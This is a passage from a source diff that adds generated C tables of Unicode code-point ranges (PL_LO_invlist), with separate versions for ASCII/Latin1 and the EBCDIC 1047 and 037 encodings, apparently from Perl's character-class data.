+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF66,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x10450,
+	0x1049E,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1E800,
+	0x1E8C5,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LO_invlist[] = { /* for EBCDIC 1047 */
+	917,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9A,
+	0x9C,
+	0x1BB,
+	0x1BC,
+	0x1C0,
+	0x1C4,
+	0x294,
+	0x295,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x640,
+	0x641,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x800,
+	0x816,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x972,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE40,
+	0xE46,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10D0,
+	0x10FB,
+	0x10FD,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16F1,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1843,
+	0x1844,
+	0x1878,
+	0x1880,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1950,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x1A00,
+	0x1A17,
+	0x1A20,
+	0x1A55,
+	0x1B05,
+	0x1B34,
+	0x1B45,
+	0x1B4C,
+	0x1B83,
+	0x1BA1,
+	0x1BAE,
+	0x1BB0,
+	0x1BBA,
+	0x1BE6,
+	0x1C00,
+	0x1C24,
+	0x1C4D,
+	0x1C50,
+	0x1C5A,
+	0x1C78,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF2,
+	0x1CF5,
+	0x1CF7,
+	0x2135,
+	0x2139,
+	0x2D30,
+	0x2D68,
+	0x2D80,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x3006,
+	0x3007,
+	0x303C,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x309F,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FF,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA015,
+	0xA016,
+	0xA48D,
+	0xA4D0,
+	0xA4F8,
+	0xA500,
+	0xA60C,
+	0xA610,
+	0xA620,
+	0xA62A,
+	0xA62C,
+	0xA66E,
+	0xA66F,
+	0xA6A0,
+	0xA6E6,
+	0xA78F,
+	0xA790,
+	0xA7F7,
+	0xA7F8,
+	0xA7FB,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA823,
+	0xA840,
+	0xA874,
+	0xA882,
+	0xA8B4,
+	0xA8F2,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA8FE,
+	0xA90A,
+	0xA926,
+	0xA930,
+	0xA947,
+	0xA960,
+	0xA97D,
+	0xA984,
+	0xA9B3,
+	0xA9E0,
+	0xA9E5,
+	0xA9E7,
+	0xA9F0,
+	0xA9FA,
+	0xA9FF,
+	0xAA00,
+	0xAA29,
+	0xAA40,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA60,
+	0xAA70,
+	0xAA71,
+	0xAA77,
+	0xAA7A,
+	0xAA7B,
+	0xAA7E,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAC3,
+	0xAADB,
+	0xAADD,
+	0xAAE0,
+	0xAAEB,
+	0xAAF2,
+	0xAAF3,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xABC0,
+	0xABE3,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB1D,
+	0xFB1E,
+	0xFB1F,
+	0xFB29,
+	0xFB2A,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD3E,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF66,
+	0xFF70,
+	0xFF71,
+	0xFF9E,
+	0xFFA0,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x10300,
+	0x10320,
+	0x1032D,
+	0x10341,
+	0x10342,
+	0x1034A,
+	0x10350,
+	0x10376,
+	0x10380,
+	0x1039E,
+	0x103A0,
+	0x103C4,
+	0x103C8,
+	0x103D0,
+	0x10450,
+	0x1049E,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10860,
+	0x10877,
+	0x10880,
+	0x1089F,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x10900,
+	0x10916,
+	0x10920,
+	0x1093A,
+	0x10980,
+	0x109B8,
+	0x109BE,
+	0x109C0,
+	0x10A00,
+	0x10A01,
+	0x10A10,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A60,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
+	0x10AC0,
+	0x10AC8,
+	0x10AC9,
+	0x10AE5,
+	0x10B00,
+	0x10B36,
+	0x10B40,
+	0x10B56,
+	0x10B60,
+	0x10B73,
+	0x10B80,
+	0x10B92,
+	0x10C00,
+	0x10C49,
+	0x11003,
+	0x11038,
+	0x11083,
+	0x110B0,
+	0x110D0,
+	0x110E9,
+	0x11103,
+	0x11127,
+	0x11150,
+	0x11173,
+	0x11176,
+	0x11177,
+	0x11183,
+	0x111B3,
+	0x111C1,
+	0x111C5,
+	0x111DA,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1122C,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112A9,
+	0x112B0,
+	0x112DF,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133D,
+	0x1133E,
+	0x11350,
+	0x11351,
+	0x1135D,
+	0x11362,
+	0x11400,
+	0x11435,
+	0x11447,
+	0x1144B,
+	0x11480,
+	0x114B0,
+	0x114C4,
+	0x114C6,
+	0x114C7,
+	0x114C8,
+	0x11580,
+	0x115AF,
+	0x115D8,
+	0x115DC,
+	0x11600,
+	0x11630,
+	0x11644,
+	0x11645,
+	0x11680,
+	0x116AB,
+	0x11700,
+	0x1171A,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C2F,
+	0x11C40,
+	0x11C41,
+	0x11C72,
+	0x11C90,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D46,
+	0x11D47,
+	0x12000,
+	0x1239A,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16AD0,
+	0x16AEE,
+	0x16B00,
+	0x16B30,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F51,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1E800,
+	0x1E8C5,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_LO_invlist[] = { /* for EBCDIC 037 */
+	917,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9A,
+	0x9C,
+	0x1BB,
+	0x1BC,
+	0x1C0,
+	0x1C4,
+	0x294,
+	0x295,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F3,
+	0x620,
+	0x640,
+	0x641,
+	0x64B,
+	0x66E,
+	0x670,
+	0x671,
+	0x6D4,
+	0x6D5,
+	0x6D6,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74D,
+	0x7A6,
+	0x7B1,
+	0x7B2,
+	0x7CA,
+	0x7EB,
+	0x800,
+	0x816,
+	0x840,
+	0x859,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x904,
+	0x93A,
+	0x93D,
+	0x93E,
+	0x950,
+	0x951,
+	0x958,
+	0x962,
+	0x972,
+	0x981,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BD,
+	0x9BE,
+	0x9CE,
+	0x9CF,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E2,
+	0x9F0,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA72,
+	0xA75,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABD,
+	0xABE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE2,
+	0xAF9,
+	0xAFA,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3D,
+	0xB3E,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB71,
+	0xB72,
+	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBD0,
+	0xBD1,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC3E,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC62,
+	0xC80,
+	0xC81,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBD,
+	0xCBE,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCF1,
+	0xCF3,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD3B,
+	0xD3D,
+	0xD3E,
+	0xD4E,
+	0xD4F,
+	0xD54,
+	0xD57,
+	0xD5F,
+	0xD62,
+	0xD7A,
+	0xD80,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xE01,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE40,
+	0xE46,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF88,
+	0xF8D,
+	0x1000,
+	0x102B,
+	0x103F,
+	0x1040,
+	0x1050,
+	0x1056,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1062,
+	0x1065,
+	0x1067,
+	0x106E,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x108E,
+	0x108F,
+	0x10D0,
+	0x10FB,
+	0x10FD,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x1380,
+	0x1390,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x16A0,
+	0x16EB,
+	0x16F1,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1712,
+	0x1720,
+	0x1732,
+	0x1740,
+	0x1752,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1780,
+	0x17B4,
+	0x17DC,
+	0x17DD,
+	0x1820,
+	0x1843,
+	0x1844,
+	0x1878,
+	0x1880,
